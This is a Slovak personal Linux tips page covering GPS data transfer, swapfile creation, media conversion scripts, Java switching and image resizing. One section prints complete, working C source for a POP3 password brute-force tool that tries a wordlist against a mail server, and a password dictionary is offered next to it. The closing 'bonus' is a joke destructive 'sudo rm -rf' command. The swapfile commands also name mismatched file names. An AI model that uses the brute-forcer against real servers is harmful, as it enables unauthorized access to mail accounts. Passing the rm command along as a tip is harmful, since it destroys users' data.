ÛÛÛÛ                                                                     ÛÛÛÛÛ     
                                                   °°ÛÛÛ                                                                    °°ÛÛÛ      
 ÛÛÛÛÛ ÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛ ÛÛÛÛÛ    °ÛÛÛ   ÛÛÛÛÛÛ  ÛÛÛÛÛÛÛÛ  ÛÛÛÛÛÛÛÛÛÛÛÛÛ    ÛÛÛÛÛÛ   ÛÛÛÛÛÛÛÛ       ÛÛÛÛÛ  °ÛÛÛ ÛÛÛÛÛ
°°ÛÛÛ °ÛÛÛ°°ÛÛÛ °°ÛÛÛ °ÛÛÛ°°ÛÛÛ °°ÛÛÛ °ÛÛÛ°°ÛÛÛ     °ÛÛÛ  ÛÛÛ°°ÛÛÛ°°ÛÛÛ°°ÛÛÛ°°ÛÛÛ°°ÛÛÛ°°ÛÛÛ  °°°°°ÛÛÛ °°ÛÛÛ°°ÛÛÛ     ÛÛÛ°°   °ÛÛÛ°°ÛÛÛ 
 °ÛÛÛ °ÛÛÛ °ÛÛÛ  °ÛÛÛ °ÛÛÛ °ÛÛÛ  °ÛÛÛ °ÛÛÛ °ÛÛÛ     °ÛÛÛ °ÛÛÛ °ÛÛÛ °ÛÛÛ °°°  °ÛÛÛ °ÛÛÛ °ÛÛÛ   ÛÛÛÛÛÛÛ  °ÛÛÛ °ÛÛÛ    °°ÛÛÛÛÛ  °ÛÛÛÛÛÛ°  
 °°ÛÛÛÛÛÛÛÛÛÛÛ   °°ÛÛÛÛÛÛÛÛÛÛÛ   °°ÛÛÛÛÛÛÛÛÛÛÛ      °ÛÛÛ °ÛÛÛ °ÛÛÛ °ÛÛÛ      °ÛÛÛ °ÛÛÛ °ÛÛÛ  ÛÛÛ°°ÛÛÛ  °ÛÛÛ °ÛÛÛ     °°°°ÛÛÛ °ÛÛÛ°°ÛÛÛ 
  °°ÛÛÛÛ°ÛÛÛÛ     °°ÛÛÛÛ°ÛÛÛÛ     °°ÛÛÛÛ°ÛÛÛÛ    ÛÛ ÛÛÛÛÛ°°ÛÛÛÛÛÛ  ÛÛÛÛÛ     ÛÛÛÛÛ°ÛÛÛ ÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛ  ÛÛÛÛ ÛÛÛÛÛ
   °°°° °°°°       °°°° °°°°       °°°° °°°°    °° °°°°°  °°°°°°  °°°°°     °°°°° °°° °°°°°  °°°°°°°° °°°° °°°°° °° °°°°°°  °°°° °°°°° 
java ubuntu foto muzic rodokmen

obsah

ako preniest data z gps garmin etrex h cez seriovy port
rucne vytvorenie swapu bez extra oddielu (modifikovatelne)
ako nastavit x11 pri kolapse
konverzia flv na avi
konverzia wma na mp3
ako prepinat medzi java vm
skriptik pre rapidshare
pop3 baranidlo
hromadna konverzia obrazkov
bonus na zaver
 

ako preniest data z gps garmin etrex h cez seriovy port

zistime, ako je oznaceny nas seriovy port
dmesg | grep serial
seria nasledujucich prikazov prenesie data z pristroja s nastavenym prenosovym modom garmin do formatu gpx

gpsbabel -D9 -w -i garmin -f /dev/ttyS0 -o gpx -F test_waypoint.gpx
gpsbabel -D9 -r -i garmin -f /dev/ttyS0 -o gpx -F test_route.gpx
gpsbabel -D9 -t -i garmin -f /dev/ttyS0 -o gpx -F test_track.gpx

ak si chceme data prezriet cez google earth, skonvertujeme gpx vystup na pre google earth citatelny format kmz na stranke http://www.gpsvisualizer.com/

bonus : zaujimavy skript na spolahlivu instalaciu google earth


obsah

 

rucne vytvorenie swapu bez extra oddielu

su
dd if=/dev/zero of=/mnt/1024Mb.swap bs=1M count=1024
mkswap /mnt/1024Mb.swap
swapon /mnt/512Mb.swap


obsah

 

ako nastavit x11 pri kolapse

sudo dpkg-reconfigure xserver-xorg


obsah

 

konverzia flv na avi

#!/bin/sh
if [ -z "$1" ]; then
echo "Usage: $0 {-divx|-xvid} list_of_flv_files"
exit 1
fi
# video encoding bit rate
V_BITRATE=1000
while [ "$1" ]; do
case "$1" in
-divx)
MENC_OPTS="-ovc lavc -lavcopts \
vcodec=mpeg4:vbitrate=$V_BITRATE:mbd=2:v4mv:autoaspect"
;;
-xvid)
MENC_OPTS="-ovc xvid -xvidencopts bitrate=$V_BITRATE:autoaspect"
;;
*)
if file "$1" | grep -q "Macromedia Flash Video"; then
mencoder "$1" $MENC_OPTS -vf pp=lb -oac mp3lame \
-lameopts fast:preset=standard -o \
"`basename $1 .flv`.avi"
else
echo "$1 is not Flash Video. Skipping"
fi
;;
esac
shift
done


obsah

 

konverzia wma na mp3

#! /bin/sh
# wma to mp3 script by mtron
zenity --info \
        --text="this script converts all wma files in the current folder
to mp3s and puts them in the folder output 

all lame command line options can be set in the next step. 

usage:
	lame -m s: for stereo mp3 output
	lame -m s V 3-4-5: for stereo mp3 output with VBR"

# Dialog box to choose output quality
FORMAT=`zenity --list --title="Choose mp3 output quality" --radiolist --column="Check" --column="Quality (editable)" --editable "" "lame -m s" "" "lame -m s -V 3" "" "lame -m s -V 4" "" "lame -m s -V 5"`

if [ $FORMAT -eq ""]; then    
zenity --error --text="mp3 output quality not defined or no wma file found

usage:
	lame -m s: for stereo mp3 output
	lame -m s V 3-4-5: for stereo mp3 output with VBR 
 
type: lame --longhelp 
for all command line options "
exit 1
fi

mkdir -p output
cp *.wma output
cd output

# How many files to make the progress bar
PROGRESS=0
NUMBER_OF_FILES=`find -iname "*.wma"`
let "INCREMENT=100/$NUMBER_OF_FILES"

#remove spaces
(for i in *.wma; do mv "$i" `echo $i | tr ' ' '_'`; done

#remove uppercase
for i in *.[Ww][Mm][Aa]; do mv "$i" `echo $i | tr '[A-Z]' '[a-z]'`; done

#Rip with Mplayer / encode with LAME
for i in *.wma ; do 
echo "$PROGRESS";
echo "# Re-Coding $i";
mplayer -vo null -vc dummy -af resample=44100 -ao pcm:waveheader $i && $FORMAT audiodump.wav -o $i;
let "PROGRESS+=$INCREMENT"
done

#convert file names
for i in *.wma; do mv "$i" "`basename "$i" .wma`.mp3"; 
done

rm audiodump.wav
let "PROGRESS+=$INCREMENT"
) | zenity  --progress --title "$Recoding...encoding..." --percentage=0
						

obsah

 

ako prepinat medzi java vm

sudo update-alternatives --config java
						

obsah

 

skriptik pre rapidshare

pre pouzitie treba samozrejme aktivne konto a jeden subor (zoznam.txt) zo zoznamom suborov na stiahnutie - inak je to obyvajny wget

wget -i zoznam.txt -c --limit-rate=192K --http-user=(user name)  --http-password=(pass)
						

obsah

 

pop3 baranidlo

tento nastroj schvalne nezverejnujem ako binarku, dufam, ze to nikto nebude kompilovat bez dovodu

 /***********************************************/ 
 /* 
 /* pop3bf.c - Simple POP3 brute force tool 
 /* 
 /* by aton 
 /* 
 /* copyleft: 
 /* copy it, use it, modify it, i dont care 
 /* 
 /***********************************************/ 
  
     #include  
     #include  
     #include  
     #include  
     #include  
     #include  
     #include  
     #include  
     #include  
     #include  //for non-blocking 
     #include  //for timeval() 
     #include  
   
     #define LEN 255 // max number of bytes we can get at once 
  
     int main(int argc, char *argv[]) 
     { 
         int sd, num, i=0, port=0, n=0; 
         char buf[LEN+1]="\0"; 
         char user[256], curpass[256], cmd[512]; 
         struct sockaddr_in servaddr; // connector's address information 
         struct hostent *he; 
         FILE *fd; 
  
         if (argc != 5) 
         { 
                 printf("pop3 brute force - by aton\n"); 
                 printf("usage: %s    \n", argv[0]); 
                 exit(1); 
         } 
         if ((he=gethostbyname(argv[1])) == NULL) // get the host info 
         { 
             perror("gethostbyname"); 
             exit(1); 
         } 
  
         if ((port=atoi(argv[2])) == 0 ) port=110; 
  
         fd=fopen(argv[4], "r"); 
  
         if (fd==NULL) 
         { 
                 printf("error: couldnt open file: %s\n", argv[4]); 
         } 
  
         if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) // open a socket 
         { 
             perror("socket"); 
             exit(1); 
         } 
  
         servaddr.sin_family = AF_INET; 
                                // host byte order 
         servaddr.sin_port = htons(port); // short, network byte order 
         servaddr.sin_addr = *((struct in_addr *)he->h_addr); 
         memset(&(servaddr.sin_zero), '\0', 8); // zero the rest of the struct 
  
         fprintf(stdout, "\n===== pop3 brute force by aton =====\n\n"); 
  
         if (connect(sd, (struct sockaddr *)&servaddr,sizeof(servaddr)) < 0) // connect 
         { 
             if (errno!=EINPROGRESS) 
                     exit(1); 
         } 
  
         printf("connected to %s:%s.\n\n", argv[1], argv[2]); 
  
         printf("wainting for server welcome message...\n"); 
         num=recv(sd, buf, LEN, 0); //read from socket 
         buf[num]=0; 
         printf("%s\n", buf); 
  
  
         strcpy(user, argv[3]); 
         strcpy(cmd, "user "); 
         strcat(cmd, user); 
  
          printf("-> %s\n", cmd); 
         if (send(sd, cmd, strlen(cmd)+1,0) == -1) // send username 
                 perror("send"); 
  
  
         num=recv(sd, buf, LEN, 0); //read from socket 
         buf[num]='\0'; 
  
         printf("%s\n",buf); 
         printf("authenticating :)\n"); 
         printf(".\n"); 
  
         do 
         { 
                 fgets(curpass, sizeof(curpass), fd); 
                 if (feof(fd)!=0) 
                 { 
                         printf("end of file reached for %s\n", argv[4]); 
                         break; 
                 } 
  
                 i++; if (i>10000) i=0; 
  
                 strcpy(cmd, "pass "); 
                 strcat(cmd, curpass); 
  
                 printf("%s\n", curpass); 
                 if (send(sd, cmd, strlen(cmd)+1, 0) == -1) //send password 
                         perror("send"); 
  
  
                 num=recv(sd, buf, LEN, 0); //read from socket 
                 buf[num]=0; buf[3]=0; 
  
  
                 if (strcmp(buf, "+OK")==0) 
                 { 
                         printf("user: \"%s\" password: \"%s\"\n\n", user, curpass); 
                         break; 
                 } 
                 else if ((i%100)==0) printf(".\n"); 
  
  
  
         } while (1); 
  
         close(sd); 
  
         return 0; 
 }
						
+moj oblubeny slovnicek 182.83 KB

obsah

 

hromadna konverzia obrazkov

mogrify, je sucastou balika imagemagick
sudo apt-get install imagemagick
mogrify -resize 256x256 *.jpg
... a vela ineho ... man mogrify
						

obsah

 

bonus na zaver

sudo rm -rf
						

obsah

pocet navstevnikov od 06/2008 : 65465